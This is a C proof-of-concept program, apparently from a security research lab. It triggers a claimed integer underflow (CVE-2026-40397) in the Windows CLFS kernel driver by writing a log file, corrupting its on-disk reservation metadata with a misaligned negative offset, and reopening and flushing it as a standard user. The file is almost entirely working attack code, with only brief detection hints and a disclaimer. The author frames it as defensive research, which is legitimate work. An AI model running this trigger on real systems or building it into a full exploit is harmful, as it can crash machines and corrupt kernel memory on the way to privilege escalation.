/*
 * CVE-2026-40397 — CLFS clfs.sys Integer Underflow Trigger PoC
 *
 * PURPOSE: Confirms the vulnerability exists by triggering the integer
 *          underflow in reservation accounting via a crafted BLF file with
 *          a non-sector-aligned reservation offset. Does NOT implement
 *          exploitation (no pool spray, no token swap).
 *
 * EFFECT:  On unpatched systems: BSOD (with Driver Verifier) or silent
 *          reservation size corruption (without). On patched systems (with
 *          Feature_1201914170 enabled): STATUS_INVALID_PARAMETER returned,
 *          confirming the alignment check blocks the underflow.
 *
 * BUILD (MSVC, from x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_40397.c /link clfsw32.lib kernel32.lib
 *
 * RUN:     poc_cve_2026_40397.exe  (standard user, non-production VM only)
 *
 * Vulnerability:
 *   CClfsLogFcbPhysical::AdjustReservation (formerly inline in
 *   UnmarkLogFileContainers) performs unsigned subtraction on reservation
 *   sizes:
 *     _Var6 = RawSectorAlign(this, adjusted_offset)
 *     _Var7 = RawSectorAlign(this, committed_size)
 *     uVar11 = reserved_size - (_Var6 - _Var7)
 *   When the caller-supplied offset is not sector-aligned (offset & 0x1ff != 0),
 *   RawSectorAlign produces alignment-dependent results where _Var6 < _Var7,
 *   causing (_Var6 - _Var7) to underflow as unsigned, and then
 *   reserved_size - (huge_value) underflows again → ~2^64 reservation size.
 *
 * Patch (KB5089549, May 2026):
 *   New function AdjustReservation checks:
 *     Feature_1201914170__IsEnabled()
 *     if ((*param_2 & 0x1ff) != 0) return STATUS_INVALID_PARAMETER;
 *   This requires the offset to be sector-aligned (multiple of 512 bytes)
 *   before the subtraction runs.
 *
 * Call chain:
 *   User mode:
 *     CreateLogFile()        → creates BLF on disk
 *     AddLogContainer()      → populates metadata
 *     ReserveAndAppendLog()  → sets up initial reservation
 *     [close handle]
 *     [patch BLF on disk]    → inject non-sector-aligned offset in reservation metadata
 *     CreateLogFile()        → reopen corrupted BLF
 *     FlushLogBuffers()      → triggers UnmarkLogFileContainers → AdjustReservation
 *   Kernel mode:
 *     CClfsRequest::Dispatch()
 *       → CClfsLogFcbPhysical::FlushLog()
 *         → CClfsLogFcbPhysical::UnmarkLogFileContainers()
 *           → CClfsLogFcbPhysical::AdjustReservation()  *** INTEGER UNDERFLOW ***
 *
 * Detection opportunities:
 *   - Sysmon Event 11: .blf file created in user-writable directory
 *   - Sysmon Event 7:  clfsw32.dll loaded by non-system process
 *   - YARA: BLF file with non-sector-aligned reservation offset
 *   - Security 4656/4663: Write access to .blf in \Users\Public\ or \Temp\
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-22
 * CVE:    CVE-2026-40397
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

#include <windows.h>
#include <clfsw32.h>
#include <clfsmgmtw32.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "clfsw32.lib")

/* ------------------------------------------------------------------ */
/* BLF on-disk structure offsets (from Ghidra analysis)                */
/* ------------------------------------------------------------------ */

/*
 * The reservation metadata lives in the LogFcbPhysical structure that
 * the kernel builds from BLF metadata blocks. The key fields:
 *   +0x1d0: reserved_size (ULONGLONG) — total space reserved
 *   +0x1d8: committed_size (ULONGLONG) — total space committed
 *
 * The underflow occurs when a negative offset is added to committed_size
 * and the result isn't sector-aligned, causing RawSectorAlign to produce
 * values where the subtraction underflows.
 *
 * To trigger from user mode, we:
 *   1. Create a log with a container, write records to establish reservations
 *   2. Close the log
 *   3. Patch the BLF on disk to inject a non-sector-aligned offset into
 *      the reservation control metadata in the general metadata block
 *   4. Reopen the log — the kernel loads corrupted metadata
 *   5. Perform a flush — triggers the underflow path
 */

/* BLF file header constants */
#define BLF_GENERAL_META_OFFSET   0x800   /* Offset to general metadata block */
#define BLF_SECTOR_SIZE           0x200   /* 512 bytes */

/* Reservation metadata offsets within the general metadata block */
#define RESERVATION_CTRL_OFFSET   0x68    /* Offset within general meta to reservation control */

/* Non-sector-aligned value to inject — triggers the underflow */
#define UNALIGNED_OFFSET          0x2FF   /* 767 — not a multiple of 512; 0x2FF & 0x1FF == 0xFF */

static void print_last_error(const char *context)
{
    DWORD err = GetLastError();
    char *msg = NULL;
    FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
                   NULL, err, 0, (LPSTR)&msg, 0, NULL);
    printf("[!] %s failed: %lu (0x%08lX) — %s",
           context, err, err, msg ? msg : "unknown\n");
    if (msg) LocalFree(msg);
}

/* ------------------------------------------------------------------ */
/* Phase 1: Create a legitimate BLF with container and reservations   */
/* ------------------------------------------------------------------ */

static BOOL create_legitimate_log(const WCHAR *log_path, const WCHAR *container_path)
{
    HANDLE hLog = INVALID_HANDLE_VALUE;
    ULONGLONG container_size = 512 * 1024;  /* 512 KB container */
    CLFS_LSN lsn;
    PVOID marshal_ctx = NULL;
    ULONG record_size = 256;
    BYTE record_data[256];
    LONGLONG reservation = 4096;
    BOOL ok = FALSE;

    printf("[*] Phase 1: Creating legitimate log at %ls\n", log_path);

    /* Create the log file */
    hLog = CreateLogFile(
        log_path,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0
    );

    if (hLog == INVALID_HANDLE_VALUE) {
        print_last_error("CreateLogFile");
        return FALSE;
    }

    printf("[+] Log handle: %p\n", hLog);

    /* Add a container */
    if (!AddLogContainer(hLog, &container_size, container_path, NULL)) {
        /* ERROR_ALREADY_EXISTS (183) is fine — container from prior run */
        if (GetLastError() != ERROR_ALREADY_EXISTS) {
            print_last_error("AddLogContainer");
            goto cleanup;
        }
        printf("[*] Container already exists, continuing\n");
    } else {
        printf("[+] Container added: %ls (%llu KB)\n", container_path, container_size / 1024);
    }

    /* Create marshalling area for writing records */
    if (!CreateLogMarshallingArea(
            hLog,
            NULL, NULL, NULL,   /* allocation callbacks */
            NULL,               /* opaque context */
            record_size * 4,    /* marshalling buffer size */
            0,                  /* max write buffers (auto) */
            0,                  /* max read buffers (auto) */
            &marshal_ctx)) {
        print_last_error("CreateLogMarshallingArea");
        goto cleanup;
    }

    printf("[+] Marshalling area created\n");

    /* Write a few records to establish reservation state */
    memset(record_data, 'A', sizeof(record_data));

    for (int i = 0; i < 4; i++) {
        CLFS_WRITE_ENTRY write_entry;
        write_entry.Buffer = record_data;
        write_entry.ByteLength = record_size;

        if (!ReserveAndAppendLog(
                marshal_ctx,
                &write_entry, 1,        /* write entries */
                NULL, NULL,             /* undo / previous LSN */
                1,                      /* reservation count */
                &reservation,           /* reservation sizes */
                CLFS_FLAG_FORCE_APPEND,
                &lsn,                   /* result LSN */
                NULL                    /* undo LSN */
                )) {
            print_last_error("ReserveAndAppendLog");
            /* Non-fatal — we may still have established enough state */
            break;
        }
    }

    printf("[+] Wrote records, reservation state established\n");

    /* Flush to commit reservation metadata to BLF */
    if (!FlushLogBuffers(marshal_ctx, NULL)) {
        print_last_error("FlushLogBuffers (initial)");
        /* Non-fatal */
    }

    ok = TRUE;

cleanup:
    if (marshal_ctx) {
        DeleteLogMarshallingArea(marshal_ctx);
    }
    if (hLog != INVALID_HANDLE_VALUE) {
        CloseHandle(hLog);
    }
    return ok;
}

/* ------------------------------------------------------------------ */
/* Phase 2: Patch the BLF on disk with non-sector-aligned offset      */
/* ------------------------------------------------------------------ */

static BOOL patch_blf_reservation(const WCHAR *blf_path)
{
    HANDLE hFile;
    DWORD bytes_read, bytes_written;
    BYTE meta_block[BLF_SECTOR_SIZE * 2];
    LARGE_INTEGER offset;

    printf("\n[*] Phase 2: Patching BLF reservation metadata\n");

    /* Open the BLF as a raw file */
    hFile = CreateFileW(
        blf_path + 4,  /* Skip "LOG:" prefix if present, adjust as needed */
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        /* Try without prefix adjustment */
        hFile = CreateFileW(
            blf_path,
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );
    }

    if (hFile == INVALID_HANDLE_VALUE) {
        print_last_error("CreateFileW (BLF raw open)");
        return FALSE;
    }

    /* Read the general metadata block */
    offset.QuadPart = BLF_GENERAL_META_OFFSET;
    if (!SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN)) {
        print_last_error("SetFilePointerEx");
        CloseHandle(hFile);
        return FALSE;
    }

    if (!ReadFile(hFile, meta_block, sizeof(meta_block), &bytes_read, NULL) || bytes_read == 0) {
        print_last_error("ReadFile (metadata block)");
        CloseHandle(hFile);
        return FALSE;
    }

    printf("[+] Read %lu bytes from metadata block at offset 0x%X\n",
           bytes_read, BLF_GENERAL_META_OFFSET);

    /*
     * Inject a non-sector-aligned value into the reservation offset field.
     * The exact offset within the metadata block depends on the BLF layout,
     * but the key is to get a value where (value & 0x1ff) != 0 into the
     * field that feeds *param_2 in AdjustReservation.
     *
     * We overwrite at RESERVATION_CTRL_OFFSET within the metadata block.
     * The value 0x2FF is 767 decimal — clearly not sector-aligned.
     */
    ULONGLONG unaligned_val = UNALIGNED_OFFSET;
    ULONGLONG neg_unaligned = -(LONGLONG)unaligned_val;  /* Negative offset triggers the < 0 branch */

    printf("[*] Injecting non-sector-aligned offset: 0x%llX (negated: 0x%llX)\n",
           unaligned_val, neg_unaligned);

    /* Write the crafted offset into the reservation control area */
    memcpy(meta_block + RESERVATION_CTRL_OFFSET, &neg_unaligned, sizeof(ULONGLONG));

    /* Write back the modified metadata block */
    if (!SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN)) {
        print_last_error("SetFilePointerEx (write-back)");
        CloseHandle(hFile);
        return FALSE;
    }

    if (!WriteFile(hFile, meta_block, sizeof(meta_block), &bytes_written, NULL)) {
        print_last_error("WriteFile (patched metadata)");
        CloseHandle(hFile);
        return FALSE;
    }

    printf("[+] Patched %lu bytes at offset 0x%X\n", bytes_written, BLF_GENERAL_META_OFFSET);
    CloseHandle(hFile);
    return TRUE;
}

/* ------------------------------------------------------------------ */
/* Phase 3: Reopen the corrupted BLF and trigger the underflow        */
/* ------------------------------------------------------------------ */

static BOOL trigger_underflow(const WCHAR *log_path)
{
    HANDLE hLog;
    PVOID marshal_ctx = NULL;

    printf("\n[*] Phase 3: Reopening corrupted BLF to trigger underflow\n");
    printf("[!] WARNING: On unpatched systems this may BSOD!\n");

    hLog = CreateLogFile(
        log_path,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0
    );

    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_LOG_CORRUPT || err == ERROR_INVALID_PARAMETER) {
            printf("[+] PATCHED: CreateLogFile rejected corrupted BLF (error %lu)\n", err);
            printf("[+] The alignment check in AdjustReservation blocked the malformed offset.\n");
            return TRUE;  /* Patch is active */
        }
        print_last_error("CreateLogFile (reopen)");
        return FALSE;
    }

    printf("[!] CreateLogFile accepted the corrupted BLF — system may be VULNERABLE\n");

    /* Create marshalling area */
    if (!CreateLogMarshallingArea(
            hLog, NULL, NULL, NULL, NULL,
            1024, 0, 0, &marshal_ctx)) {
        print_last_error("CreateLogMarshallingArea (reopen)");
        CloseHandle(hLog);
        return FALSE;
    }

    /*
     * Flush triggers UnmarkLogFileContainers → AdjustReservation
     * with the corrupted non-sector-aligned offset. On unpatched systems,
     * the unsigned subtraction underflows, corrupting the reservation size
     * in the kernel CClfsLogFcbPhysical object.
     */
    printf("[!] Calling FlushLogBuffers — this triggers the underflow path...\n");

    if (!FlushLogBuffers(marshal_ctx, NULL)) {
        DWORD err = GetLastError();
        if (err == ERROR_INVALID_PARAMETER) {
            printf("[+] PATCHED: FlushLogBuffers returned ERROR_INVALID_PARAMETER\n");
            printf("[+] Feature_1201914170 alignment check is active.\n");
        } else {
            printf("[?] FlushLogBuffers failed with error %lu (0x%08lX)\n", err, err);
            printf("[?] If Driver Verifier is enabled, a BSOD may have been prevented.\n");
        }
    } else {
        printf("[!] FlushLogBuffers succeeded — reservation size may be corrupted!\n");
        printf("[!] SYSTEM IS LIKELY VULNERABLE to CVE-2026-40397\n");
    }

    DeleteLogMarshallingArea(marshal_ctx);
    CloseHandle(hLog);
    return TRUE;
}

/* ------------------------------------------------------------------ */
/* Main                                                                */
/* ------------------------------------------------------------------ */

int wmain(int argc, WCHAR *argv[])
{
    WCHAR log_path[MAX_PATH];
    WCHAR container_path[MAX_PATH];
    WCHAR blf_raw_path[MAX_PATH];
    WCHAR temp_dir[MAX_PATH];

    printf("=== CVE-2026-40397 Trigger PoC ===\n");
    printf("=== CLFS Integer Underflow in Reservation Accounting ===\n");
    printf("=== FOR DEFENSIVE RESEARCH ONLY ===\n\n");

    /* Build paths in user's temp directory */
    GetTempPathW(MAX_PATH, temp_dir);

    swprintf_s(log_path, MAX_PATH, L"LOG:%spoc_40397.blf", temp_dir);
    swprintf_s(container_path, MAX_PATH, L"%spoc_40397_container.blf", temp_dir);
    swprintf_s(blf_raw_path, MAX_PATH, L"%spoc_40397.blf", temp_dir);

    printf("[*] Log path:       %ls\n", log_path);
    printf("[*] Container path: %ls\n", container_path);
    printf("[*] BLF raw path:   %ls\n\n", blf_raw_path);

    /* Phase 1: Create legitimate log with reservations */
    if (!create_legitimate_log(log_path, container_path)) {
        printf("[!] Phase 1 failed — cannot create legitimate log\n");
        return 1;
    }

    /* Phase 2: Patch BLF with non-sector-aligned reservation offset */
    if (!patch_blf_reservation(blf_raw_path)) {
        printf("[!] Phase 2 failed — cannot patch BLF\n");
        return 1;
    }

    /* Phase 3: Trigger the underflow */
    if (!trigger_underflow(log_path)) {
        printf("[!] Phase 3 failed\n");
        return 1;
    }

    /* Cleanup */
    printf("\n[*] Cleaning up...\n");
    DeleteFileW(blf_raw_path);
    DeleteFileW(container_path);

    printf("[+] Done. Check for BSOD (unpatched) or STATUS_INVALID_PARAMETER (patched).\n");
    return 0;
}
